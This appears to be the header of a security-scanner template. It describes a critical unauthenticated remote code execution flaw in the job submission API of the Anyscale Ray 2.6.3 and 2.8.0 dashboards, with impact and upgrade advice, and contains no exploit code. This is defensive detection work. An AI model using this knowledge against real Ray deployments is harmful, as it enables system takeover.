info:
  name: Anyscale Ray - Remote Code Execution
  author: riteshs4hu
  severity: critical
  description: |
    Anyscale Ray 2.6.3 and 2.8.0 contain a remote code execution vulnerability due to insecure job submission API, allowing attackers to execute arbitrary code remotely if they have network access to the Ray Dashboard API.
  impact: |
    Unauthenticated attackers with network access to the Ray Dashboard API can execute arbitrary code remotely as root, leading to complete system compromise.
  remediation: |
    Upgrade Anyscale Ray to version 2.6.4 or later, or version 2.8.1 or later, and restrict network access to the Ray Dashboard API.
